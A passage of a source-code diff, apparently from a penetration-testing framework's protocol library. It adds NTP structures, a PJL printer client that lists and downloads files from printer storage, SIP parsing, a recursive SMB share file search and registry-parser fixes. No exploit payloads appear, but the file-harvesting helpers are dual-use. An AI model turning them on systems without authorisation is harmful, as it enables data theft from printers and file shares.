+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :response, 1, default: 0 + unsigned :more, 1, default: 0 + unsigned :version, 3, default: 0 + unsigned :mode, 3, default: 7 + unsigned :auth, 1, default: 0 + unsigned :sequence, 7, default: 0 + unsigned :implementation, 8, default: 0 + unsigned :request_code, 8, default: 0 + unsigned :error, 4, default: 0 + unsigned :record_count, 12, default: 0 + unsigned :mbz, 4, default: 0 + unsigned :record_size, 12, default: 0 + rest :payload + + def records + records = [] + 1.upto(record_count) do |record_num| + records << payload[record_size*(record_num-1), record_size] + end + records + end + end + + def self.ntp_control(version, operation, payload = nil) + n = NTPControl.new + n.version = version + n.operation = operation + if payload + n.payload_offset = 0 + n.payload_size = payload.size + n.payload = payload + end + n + end + + def self.ntp_private(version, implementation, request_code, payload = nil) + n = NTPPrivate.new + n.version = version + n.implementation = implementation + n.request_code = request_code + n.payload = payload if payload + n + end + + def self.ntp_generic(version, mode) + n = NTPGeneric.new + n.version = version + n.mode = mode + n + end + + # Parses the given message and provides a description about the NTP message inside + def self.describe(message) + ntp = NTPGeneric.new(message) + "#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply" + end +end +end +end diff --git a/lib/rex/proto/pjl.rb b/lib/rex/proto/pjl.rb new file mode 100644 index 0000000000..172cb42dca --- /dev/null +++ b/lib/rex/proto/pjl.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- +# https://en.wikipedia.org/wiki/Printer_Job_Language +# See external links for PJL spec + +module Rex::Proto::PJL + + require "rex/proto/pjl/client" + + DEFAULT_PORT = 9100 + DEFAULT_TIMEOUT = 5 + + COUNT_MAX = 2_147_483_647 + SIZE_MAX = 2_147_483_647 + + UEL = "\e%-12345X" # Universal Exit Language + PREFIX = "@PJL" + + module Info + ID = "#{PREFIX} INFO ID" + STATUS = "#{PREFIX} INFO STATUS" + VARIABLES = "#{PREFIX} INFO VARIABLES" + FILESYS = "#{PREFIX} INFO FILESYS" + end + + RDYMSG = "#{PREFIX} RDYMSG" + + FSINIT = "#{PREFIX} FSINIT" + FSDIRLIST = "#{PREFIX} FSDIRLIST" + FSUPLOAD = "#{PREFIX} FSUPLOAD" + +end diff --git a/lib/rex/proto/pjl/client.rb b/lib/rex/proto/pjl/client.rb new file mode 100644 index 0000000000..268a0768ef --- /dev/null +++ b/lib/rex/proto/pjl/client.rb @@ -0,0 +1,163 @@ +# -*- coding: binary -*- +# https://en.wikipedia.org/wiki/Printer_Job_Language +# See external links for PJL spec + +module Rex::Proto::PJL +class Client + + attr_reader :sock + + def initialize(sock) + @sock = sock + end + + # Begin a PJL job + # + # @return [void] + def begin_job + @sock.put("#{UEL}#{PREFIX}\n") + end + + # End a PJL job + # + # @return [void] + def end_job + @sock.put(UEL) + end + + # Send an INFO request and read the response + # + # @param category [String] INFO category + # @return [String] INFO response + def info(category) + categories = { + :id => Info::ID, + :status => Info::STATUS, + :variables => Info::VARIABLES, + :filesys => Info::FILESYS + } + + unless categories.has_key?(category) + raise ArgumentError, "Unknown INFO category" + end + + @sock.put("#{categories[category]}\n") + @sock.get(DEFAULT_TIMEOUT) + end + + # Get version information + # + # @return [String] Version information + def info_id + id = nil + + if info(:id) =~ /"(.*?)"/m + id = $1 + end + + id + end + + # Get environment variables + # + # @return [String] Environment variables + def info_variables + env_vars = nil + + if info(:variables) =~ /#{Info::VARIABLES}\r?\n(.*?)\f/m + env_vars = $1 + end + + env_vars + end + + # List volumes + # + # @return [String] Volume listing + def info_filesys + filesys = nil + + if info(:filesys) =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m + filesys = $1 + end + + filesys + end + + # Get the ready message + # + # @return [String] Ready message + def get_rdymsg + rdymsg = nil + + if info(:status) =~ /DISPLAY="(.*?)"/m + rdymsg = $1 + end + + rdymsg + end + + # Set the ready message + # + # @param message [String] Ready message + # @return [void] + def set_rdymsg(message) + @sock.put(%Q{#{RDYMSG} DISPLAY = "#{message}"\n}) + end + + # Initialize a volume + # + # @param volume [String] Volume + # @return [void] + def fsinit(volume) + if volume !~ /^[0-2]:$/ + raise ArgumentError, "Volume must be 0:, 1:, or 2:" + end + + @sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n}) + end + + # List a directory + # + # @param pathname [String] Pathname + # @param count [Fixnum] Number of entries to list + # @return [String] Directory listing + def fsdirlist(pathname, count = COUNT_MAX) + if pathname !~ /^[0-2]:/ + raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + end + + listing = nil + + @sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n}) + + if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m + listing = $1 + end + + listing + end + + # Download a file + # + # @param pathname [String] Pathname + # @param size [Fixnum] Size of file + # @return [String] File as a string + def fsupload(pathname, size = SIZE_MAX) + if pathname !~ /^[0-2]:/ + raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + end + + file = nil + + @sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n}) + + if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*)\f/m + file = $1 + end + + file + end + +end +end diff --git a/lib/rex/proto/sip.rb b/lib/rex/proto/sip.rb new file mode 100644 index 0000000000..3c0098cb54 --- /dev/null +++ b/lib/rex/proto/sip.rb @@ -0,0 +1,4 @@ +# encoding: binary + +# SIP protocol support +require 'rex/proto/sip/response' diff --git a/lib/rex/proto/sip/response.rb b/lib/rex/proto/sip/response.rb new file mode 100644 index 0000000000..3135052471 --- /dev/null +++ b/lib/rex/proto/sip/response.rb @@ -0,0 +1,61 @@ +# encoding: binary + +module Rex + module Proto + # SIP protocol support + module SIP + SIP_STATUS_REGEX = /^SIP\/(\d\.\d) (\d{3})\s*(.*)$/ + + # Represents a generic SIP message + class Message + attr_accessor :headers + + def initialize + @headers = {} + end + + # Returns a list of all values from all +name+ headers, regardless of case, + # or nil if no matching header is found + def header(name) + matches = @headers.select { |k, _| k.downcase == name.downcase } + return nil if matches.empty? + matches.values.flatten + end + + # Returns a hash of header name to values mapping + # from the provided message, or nil if no headers + # are found + def self.extract_headers(message) + pairs = message.scan(/^([^\s:]+):\s*(.*)$/) + return nil if pairs.empty? + headers = {} + pairs.each do |pair| + headers[pair.first] ||= [] + headers[pair.first] << pair.last.strip + end + headers + end + end + + # Represents a SIP response message + class Response < Message + attr_accessor :code, :message, :status_line, :version + + # Parses +data+, constructs and returns a Response + def self.parse(data) + response = Response.new + # do some basic sanity checking on this response to ensure that it is SIP + response.status_line = data.split(/\r\n/)[0] + unless response.status_line && response.status_line =~ SIP_STATUS_REGEX + fail(ArgumentError, "Invalid SIP status line: #{response.status_line}") + end + response.version = Regexp.last_match(1) + response.code = Regexp.last_match(2) + response.message = Regexp.last_match(3) + response.headers = extract_headers(data) + response + end + end + end + end +end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 6442284688..6007f16c8b 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils packet.v['ProcessID'] = self.process_id.to_i end - - # The main dispatcher for all incoming SMB packets - def smb_recv_parse(expected_type, ignore_errors = false) + # Receive a full SMB reply and cache the parsed packet + def smb_recv_and_cache + @smb_recv_cache ||= [] # This will throw an exception if it fails to read the whole packet data = self.smb_recv pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(data) - res = pkt + + # Store the received packet into the cache + @smb_recv_cache << [ pkt, data, Time.now ] + end + + # Scan the packet receive cache for a matching response + def smb_recv_cache_find_match(expected_type) + + clean = [] + found = nil + + @smb_recv_cache.each do |cent| + pkt, data, tstamp = cent + + # Return matching packets and mark for removal + if pkt['Payload']['SMB'].v['Command'] == expected_type + found = [pkt,data] + clean << cent + end + + # Purge any packets older than 5 minutes + if Time.now.to_i - tstamp.to_i > 300 + clean << cent + end + + break if found + end + + clean.each do |cent| + @smb_recv_cache.delete(cent) + end + + found + end + + # The main dispatcher for all incoming SMB packets + def smb_recv_parse(expected_type, ignore_errors = false) + + pkt = nil + data = nil + + # This allows for some leeway when a previous response has not + # been processed but a new request was sent. The old response + # will eventually be timed out of the cache. + 1.upto(3) do |attempt| + smb_recv_and_cache + pkt,data = smb_recv_cache_find_match(expected_type) + break if pkt + end begin case pkt['Payload']['SMB'].v['Command'] when CONST::SMB_COM_NEGOTIATE - res = smb_parse_negotiate(pkt, data) + res = smb_parse_negotiate(pkt, data) when CONST::SMB_COM_SESSION_SETUP_ANDX - res = smb_parse_session_setup(pkt, data) + res = smb_parse_session_setup(pkt, data) when CONST::SMB_COM_TREE_CONNECT_ANDX - res = smb_parse_tree_connect(pkt, data) + res = smb_parse_tree_connect(pkt, data) when CONST::SMB_COM_TREE_DISCONNECT - res = smb_parse_tree_disconnect(pkt, data) + res = smb_parse_tree_disconnect(pkt, data) when CONST::SMB_COM_NT_CREATE_ANDX - res = smb_parse_create(pkt, data) + res = smb_parse_create(pkt, data) when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2 - res = smb_parse_trans(pkt, data) + res = smb_parse_trans(pkt, data) when CONST::SMB_COM_NT_TRANSACT - res = smb_parse_nttrans(pkt, data) + res = smb_parse_nttrans(pkt, data) when CONST::SMB_COM_NT_TRANSACT_SECONDARY - res = smb_parse_nttrans(pkt, data) + res = smb_parse_nttrans(pkt, data) when CONST::SMB_COM_OPEN_ANDX - res = smb_parse_open(pkt, data) + res = smb_parse_open(pkt, data) when CONST::SMB_COM_WRITE_ANDX - res = smb_parse_write(pkt, data) + res = smb_parse_write(pkt, data) when CONST::SMB_COM_READ_ANDX - res = smb_parse_read(pkt, data) + res = smb_parse_read(pkt, data) when CONST::SMB_COM_CLOSE - res = smb_parse_close(pkt, data) + res = smb_parse_close(pkt, data) when CONST::SMB_COM_DELETE - res = smb_parse_delete(pkt, data) + res = smb_parse_delete(pkt, data) else raise XCEPT::InvalidCommand end - if (pkt['Payload']['SMB'].v['Command'] != expected_type) - raise XCEPT::InvalidType - end - if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0) raise XCEPT::ErrorCode end - rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode + rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode $!.word_count = pkt['Payload']['SMB'].v['WordCount'] $!.command = pkt['Payload']['SMB'].v['Command'] $!.error_code = pkt['Payload']['SMB'].v['ErrorClass'] @@ -1837,88 +1881,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 0, # Storage type is zero ].pack('vvvvV') + path + "\x00" - begin - resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') - search_next = 0 - begin - pcnt = resp['Payload'].v['ParamCount'] - dcnt = resp['Payload'].v['DataCount'] - poff = resp['Payload'].v['ParamOffset'] - doff = resp['Payload'].v['DataOffset'] + resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') + search_next = 0 - # Get the raw packet bytes - resp_rpkt = resp.to_s + # Loop until we run out of results + loop do + pcnt = resp['Payload'].v['ParamCount'] + dcnt = resp['Payload'].v['DataCount'] + poff = resp['Payload'].v['ParamOffset'] + doff = resp['Payload'].v['DataOffset'] - # Remove the NetBIOS header - resp_rpkt.slice!(0, 4) + # Get the raw packet bytes + resp_rpkt = resp.to_s - resp_parm = resp_rpkt[poff, pcnt] - resp_data = resp_rpkt[doff, dcnt] + # Remove the NetBIOS header + resp_rpkt.slice!(0, 4) - if search_next == 0 - # search id, search count, end of search, error offset, last name offset - sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') - else - # FINX_NEXT doesn't return a SID - scnt, eos, eoff, loff = resp_parm.unpack('v4') - end - didx = 0 - while (didx < resp_data.length) - info_buff = resp_data[didx, 70] - break if info_buff.length != 70 - info = info_buff.unpack( - 'V'+ # Next Entry Offset - 'V'+ # File Index - 'VV'+ # Time Create - 'VV'+ # Time Last Access - 'VV'+ # Time Last Write - 'VV'+ # Time Change - 'VV'+ # End of File - 'VV'+ # Allocation Size - 'V'+ # File Attributes - 'V'+ # File Name Length - 'V'+ # Extended Attr List Length - 'C'+ # Short File Name Length - 'C' # Reserved - ) - name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '') - files[name] = - { - 'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F', - 'attr' => info[14], - 'info' => info - } + resp_parm = resp_rpkt[poff, pcnt] + resp_data = resp_rpkt[doff, dcnt] - break if info[0] == 0 - didx += info[0] - end - last_search_id = sid - last_offset = loff - last_filename = name - if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next - resp = find_next(last_search_id, last_offset, last_filename) - search_next = 1 # Flip bit so response params will parse correctly - end - end until eos != 0 or last_offset == 0 - rescue ::Exception - raise $! + if search_next == 0 + # search id, search count, end of search, error offset, last name offset + sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') + else + # FIND_NEXT doesn't return a SID + scnt, eos, eoff, loff = resp_parm.unpack('v4') + end + + didx = 0 + while (didx < resp_data.length) + info_buff = resp_data[didx, 70] + break if info_buff.length != 70 + + info = info_buff.unpack( + 'V'+ # Next Entry Offset + 'V'+ # File Index + 'VV'+ # Time Create + 'VV'+ # Time Last Access + 'VV'+ # Time Last Write + 'VV'+ # Time Change + 'VV'+ # End of File + 'VV'+ # Allocation Size + 'V'+ # File Attributes + 'V'+ # File Name Length + 'V'+ # Extended Attr List Length + 'C'+ # Short File Name Length + 'C' # Reserved + ) + + name = resp_data[didx + 70 + 24, info[15]] + + # Verify that the filename was actually present + break unless name + + # Key the file list minus any trailing nulls + files[name.sub(/\x00+$/n, '')] = + { + 'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D', + 'attr' => info[14], + 'info' => info + } + + break if info[0] == 0 + didx += info[0] + end + + last_search_id = sid + last_offset = loff + last_filename = name + + # Exit the search if we reached the end of our results + break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0) + + # If we aren't at the end of the search, run find_next + resp = find_next(last_search_id, last_offset, last_filename) + + # Flip bit so response params will parse correctly + search_next = 1 end - return files + files end # Supplements find_first if file/dir count exceeds max search count def find_next(sid, resume_key, last_filename) parm = [ - sid, # Search ID - 20, # Maximum search count (Size of 20 keeps response to 1 packet) - 260, # Level of interest - resume_key, # Resume key from previous (Last name offset) - 6, # Close search if end of search - ].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next - resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '') - return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function + sid, # Search ID + 20, # Maximum search count (Size of 20 keeps response to 1 packet) + 260, # Level of interest + resume_key, # Resume key from previous (Last name offset) + 6, # Close search if end of search + ].pack('vvvVv') + + last_filename.to_s + # Last filename returned from find_first or find_next + "\x00" # Terminate the file name + + # Returns the FIND_NEXT2 response packet for parsing by the find_first function + trans2(CONST::TRANS2_FIND_NEXT2, parm, '') + end + + # Recursively search for files matching a regular expression + def file_search(current_path, regex, depth) + depth -= 1 + return [] if depth < 0 + + results = find_first(current_path + "*") + files = [] + + results.each_pair do |fname, finfo| + + # Skip current and parent directory results + next if %W{. ..}.include?(fname) + + # Verify the results contain an attribute + next unless finfo and finfo['attr'] + + if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 + # Add any matching files to our result set + files << "#{current_path}#{fname}" if fname =~ regex + else + # Recurse into the discovery subdirectory for more files + begin + search_path = "#{current_path}#{fname}\\" + file_search(search_path, regex, depth).each {|fn| files << fn } + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + + # Ignore common errors related to permissions and non-files + if %W{ + STATUS_ACCESS_DENIED + STATUS_NO_SUCH_FILE + STATUS_OBJECT_NAME_NOT_FOUND + STATUS_OBJECT_PATH_NOT_FOUND + }.include? e.get_error(e.error_code) + next + end + + $stderr.puts [e, e.get_error(e.error_code), search_path] + + raise e + end + end + + end + + files.uniq end # Creates a new directory on the mounted tree @@ -1931,9 +2037,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # public read/write methods attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm - attr_accessor :system_time, :system_zone - #misc - attr_accessor :spnopt # used for SPN + attr_accessor :system_time, :system_zone + attr_accessor :spnopt # public read methods attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os @@ -1941,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_reader :dns_host_name, :dns_domain_name attr_reader :security_mode, :server_guid - #signing related attr_reader :sequence_counter,:signing_key, :require_signing -# private methods +# private write methods attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os attr_writer :default_domain, :default_name, :auth_user, :auth_user_id attr_writer :dns_host_name, :dns_domain_name attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_writer :security_mode, :server_guid - #signing related attr_writer :sequence_counter,:signing_key, :require_signing attr_accessor :socket - end end end diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index c423aee9d8..8de82fd4dd 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008 FILE_VOLUME_QUOTAS = 0x00000010 FILE_VOLUME_IS_COMPRESSED = 0x00008000 +# SMB_EXT_FILE_ATTR +# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx +SMB_EXT_FILE_ATTR_READONLY = 0x00000001 +SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 +SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 +SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 +SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 +SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 +SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 +SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 +SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 +SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 +SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 +SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 +SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 +SMB_EXT_FILE_NO_BUFFERING = 0x20000000 +SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 # SMB Error Codes SMB_STATUS_SUCCESS = 0x00000000 diff --git a/lib/rex/proto/smb/exceptions.rb b/lib/rex/proto/smb/exceptions.rb index c7d1a99315..bc8f769836 100644 --- a/lib/rex/proto/smb/exceptions.rb +++ b/lib/rex/proto/smb/exceptions.rb @@ -739,11 +739,15 @@ class Error < ::RuntimeError # returns an error string if it exists, otherwise just the error code def get_error(error) string = '' - if @@errors[error] + if error && @@errors[error] string = @@errors[error] - else + elsif error string = sprintf('0x%.8x',error) + else + string = "Unknown error" end + + string end end @@ -781,6 +785,10 @@ class InvalidPacket < Error attr_accessor :word_count attr_accessor :command attr_accessor :error_code + + def error_name + get_error(error_code) + end end class InvalidWordCount < InvalidPacket @@ -807,7 +815,7 @@ end class ErrorCode < InvalidPacket def to_s 'The server responded with error: ' + - self.get_error(self.error_code) + + self.error_name + " (Command=#{self.command} WordCount=#{self.word_count})" end end diff --git a/lib/rex/random_identifier_generator.rb b/lib/rex/random_identifier_generator.rb index ab84faf3bc..6f6703951a 100644 --- a/lib/rex/random_identifier_generator.rb +++ b/lib/rex/random_identifier_generator.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # A quick way to produce unique random strings that follow the rules of # identifiers, i.e., begin with a letter and contain only alphanumeric diff --git a/lib/rex/registry/lfkey.rb b/lib/rex/registry/lfkey.rb index fddeb75332..220cfa7306 100644 --- a/lib/rex/registry/lfkey.rb +++ b/lib/rex/registry/lfkey.rb @@ -41,7 +41,7 @@ class LFHashRecord attr_accessor :nodekey_offset, :nodekey_name_verification def initialize(hive_blob, offset) - @nodekey_offset = hive_blob[offset, 4].unpack('l').first + @nodekey_offset = hive_blob[offset, 4].unpack('V').first @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s end diff --git a/lib/rex/registry/nodekey.rb b/lib/rex/registry/nodekey.rb index d32c52407a..7530792f96 100644 --- a/lib/rex/registry/nodekey.rb +++ b/lib/rex/registry/nodekey.rb @@ -23,16 +23,16 @@ class NodeKey return end - @timestamp = hive[offset+0x04, 8].unpack('q').first - @parent_offset = hive[offset+0x10, 4].unpack('l').first - @subkeys_count = hive[offset+0x14, 4].unpack('l').first - @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first - @value_count = hive[offset+0x24, 4].unpack('l').first - @value_list_offset = hive[offset+0x28, 4].unpack('l').first - @security_key_offset = hive[offset+0x2c, 4].unpack('l').first - @class_name_offset = hive[offset+0x30, 4].unpack('l').first - @name_length = hive[offset+0x48, 2].unpack('c').first - @class_name_length = hive[offset+0x4a, 2].unpack('c').first + @timestamp = hive[offset+0x04, 8].unpack('Q').first + @parent_offset = hive[offset+0x10, 4].unpack('V').first + @subkeys_count = hive[offset+0x14, 4].unpack('V').first + @lf_record_offset = hive[offset+0x1c, 4].unpack('V').first + @value_count = hive[offset+0x24, 4].unpack('V').first + @value_list_offset = hive[offset+0x28, 4].unpack('V').first + @security_key_offset = hive[offset+0x2c, 4].unpack('V').first + @class_name_offset = hive[offset+0x30, 4].unpack('V').first + @name_length = hive[offset+0x48, 2].unpack('C').first + @class_name_length = hive[offset+0x4a, 2].unpack('C').first @name = hive[offset+0x4c, @name_length].to_s windows_time = @timestamp diff --git a/lib/rex/registry/valuekey.rb b/lib/rex/registry/valuekey.rb index fdb27fb6e6..61a7c07d2d 100644 --- a/lib/rex/registry/valuekey.rb +++ b/lib/rex/registry/valuekey.rb @@ -17,10 +17,10 @@ class ValueKey return end - @name_length = hive[offset+0x02, 2].unpack('c').first - @length_of_data = hive[offset+0x04, 4].unpack('l').first - @data_offset = hive[offset+ 0x08, 4].unpack('l').first - @value_type = hive[offset+0x0C, 4].unpack('c').first + @name_length = hive[offset+0x02, 2].unpack('C').first + @length_of_data = hive[offset+0x04, 4].unpack('V').first + @data_offset = hive[offset+ 0x08, 4].unpack('V').first + @value_type = hive[offset+0x0C, 4].unpack('C').first if @value_type == 1 @readable_value_type = "Unicode character string" @@ -34,7 +34,7 @@ class ValueKey @readable_value_type = "Multiple unicode strings separated with '\\x00'" end - flag = hive[offset+0x10, 2].unpack('c').first + flag = hive[offset+0x10, 2].unpack('C').first if flag == 0 @name = "Default" diff --git a/lib/rex/registry/valuelist.rb b/lib/rex/registry/valuelist.rb index 1fb0906dfe..63900c14a4 100644 --- a/lib/rex/registry/valuelist.rb +++ b/lib/rex/registry/valuelist.rb @@ -18,7 +18,7 @@ class ValueList valuekey_offset = hive[offset + inner_offset, 4] next if !valuekey_offset - valuekey_offset = valuekey_offset.unpack('l').first + valuekey_offset = valuekey_offset.unpack('V').first @values << ValueKey.new(hive, valuekey_offset + 0x1000) inner_offset = inner_offset + 4 end diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index da18b87f81..1bdf2d0cca 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -155,89 +155,52 @@ module Socket end end + # Get the first address returned by a DNS lookup for +hostname+. # - # Wrapper for Resolv.getaddress that takes special care to see if the - # supplied address is already a dotted quad, for instance. This is - # necessary to prevent calls to gethostbyaddr (which occurs on windows). - # These calls can be quite slow. This also fixes an issue with the - # Resolv.getaddress() call being non-functional on Ruby 1.9.1 (Win32). + # @see .getaddresses # - def self.getaddress(addr, accept_ipv6 = true) - begin - if addr =~ MATCH_IPV4 or (accept_ipv6 and addr =~ MATCH_IPV6) - return addr - end - - res = ::Socket.gethostbyname(addr) - return nil if not res - - # Shift the first three elements out - rname = res.shift - ralias = res.shift - rtype = res.shift - - # Rubinius has a bug where gethostbyname returns dotted quads instead of - # NBO, but that's what we want anyway, so just short-circuit here. - if res[0] =~ MATCH_IPV4 || res[0] =~ MATCH_IPV6 - res.each { |r| - # if the caller doesn't mind ipv6, just return whatever we have - return r if accept_ipv6 - # otherwise, take the first v4 address - return r if r =~ MATCH_IPV4 - } - # didn't find one - return nil - end - - # Reject IPv6 addresses if we don't accept them - if not accept_ipv6 - res.reject!{|nbo| nbo.length != 4} - end - - # Make sure we have at least one name - return nil if res.length == 0 - - # Return the first address of the result - self.addr_ntoa( res[0] ) - rescue ::ArgumentError # Win32 bug - nil - end + # @param (see .getaddresses) + # @return [String] ASCII IP address + def self.getaddress(hostname, accept_ipv6 = true) + getaddresses(hostname, accept_ipv6).first end # - # Wrapper for Resolv.getaddress that takes special care to see if the - # supplied address is already a dotted quad, for instance. This is - # necessary to prevent calls to gethostbyaddr (which occurs on windows). - # These calls can be quite slow. This also fixes an issue with the - # Resolv.getaddress() call being non-functional on Ruby 1.9.1 (Win32). + # Wrapper for +::Socket.gethostbyname+ that takes special care to see if the + # supplied address is already an ASCII IP address. This is necessary to + # prevent blocking while waiting on a DNS reverse lookup when we already + # have what we need. # - def self.getaddresses(addr, accept_ipv6 = true) - begin - if addr =~ MATCH_IPV4 or (accept_ipv6 and addr =~ MATCH_IPV6) - return [addr] - end - - res = ::Socket.gethostbyname(addr) - return [] if not res - - # Shift the first three elements out - rname = res.shift - ralias = res.shift - rtype = res.shift - - # Reject IPv6 addresses if we don't accept them - if not accept_ipv6 - res.reject!{|nbo| nbo.length != 4} - end - - # Make sure we have at least one name - return [] if res.length == 0 - - # Return an array of all addresses - res.map{ |addr| self.addr_ntoa(addr) } - rescue ::ArgumentError # Win32 bug - [] + # @param hostname [String] A hostname or ASCII IP address + # @return [Array] + def self.getaddresses(hostname, accept_ipv6 = true) + if hostname =~ MATCH_IPV4 or (accept_ipv6 and hostname =~ MATCH_IPV6) + return [hostname] end + + res = ::Socket.gethostbyname(hostname) + return [] if not res + + # Shift the first three elements out, leaving just the list of + # addresses + res.shift # name + res.shift # alias hostnames + res.shift # address_family + + # Rubinius has a bug where gethostbyname returns dotted quads instead of + # NBO, but that's what we want anyway, so just short-circuit here. + if res[0] =~ MATCH_IPV4 || res[0] =~ MATCH_IPV6 + unless accept_ipv6 + res.reject!{ |ascii| ascii =~ MATCH_IPV6 } + end + else + unless accept_ipv6 + res.reject!{ |nbo| nbo.length != 4 } + end + res.map!{ |nbo| self.addr_ntoa(nbo) } + end + + res end # @@ -252,7 +215,9 @@ module Socket end if is_ipv6?(host) - host, scope_id = host.split('%', 2) + # pop off the scopeid since gethostbyname isn't smart enough to + # deal with it. + host, _ = host.split('%', 2) end ::Socket.gethostbyname(host) @@ -361,17 +326,12 @@ module Socket # # Converts an integer address into ascii # + # @param (see #addr_iton) + # @return (see #addr_ntoa) def self.addr_itoa(addr, v6=false) - nboa = addr_iton(addr, v6) - # IPv4 - if (addr < 0x100000000 and not v6) - addr_ntoa(nboa) - # IPv6 - else - addr_ntoa(nboa) - end + addr_ntoa(nboa) end # @@ -384,6 +344,8 @@ module Socket # # Converts a network byte order address to ascii # + # @param addr [String] Packed network-byte-order address + # @return [String] Human readable IP address. def self.addr_ntoa(addr) # IPv4 if (addr.length == 4) @@ -401,8 +363,11 @@ module Socket # # Implement zero compression for IPv6 addresses. # Uses the compression method from Marco Ceresa's IPAddress GEM - # https://github.com/bluemonk/ipaddress/blob/master/lib/ipaddress/ipv6.rb # + # @see https://github.com/bluemonk/ipaddress/blob/master/lib/ipaddress/ipv6.rb + # + # @param addr [String] Human readable IPv6 address + # @return [String] Human readable IPv6 address with runs of 0s removed def self.compress_address(addr) return addr unless is_ipv6?(addr) addr = addr.dup @@ -442,8 +407,10 @@ module Socket # # Converts an integer into a network byte order address # + # @param addr [Numeric] The address as a number + # @param v6 [Boolean] Whether +addr+ is IPv6 def self.addr_iton(addr, v6=false) - if(addr < 0x100000000 and not v6) + if(addr < 0x100000000 && !v6) return [addr].pack('N') else w = [] @@ -538,14 +505,24 @@ module Socket end # - # Converts a port specification like "80,21-23,443" into a sorted, - # unique array of valid port numbers like [21,22,23,80,443] + # Converts a port specification like "80,21-25,!24,443" into a sorted, + # unique array of valid port numbers like [21,22,23,25,80,443] # def self.portspec_to_portlist(pspec) ports = [] + remove = [] # Build ports array from port specification pspec.split(/,/).each do |item| + target = ports + + item.strip! + + if item.start_with? '!' + item.delete! '!' + target = remove + end + start, stop = item.split(/-/).map { |p| p.to_i } start ||= 0 @@ -553,11 +530,15 @@ module Socket start, stop = stop, start if stop < start - start.upto(stop) { |p| ports << p } + start.upto(stop) { |p| target << p } + end + + if ports.empty? and not remove.empty? then + ports = 1.upto 65535 end # Sort, and remove dups and invalid ports - ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 } + ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p } end # @@ -626,7 +607,7 @@ module Socket # def self.ipv6_link_address(intf) r = source_address("FF02::1%#{intf}") - return if not (r and r =~ /^fe80/i) + return nil if r.nil? || r !~ /^fe80/i r end @@ -677,7 +658,7 @@ module Socket lport, caddr = ::Socket.unpack_sockaddr_in( server.getsockname ) end } - lsock, saddr = server.accept + lsock, _ = server.accept server.close } diff --git 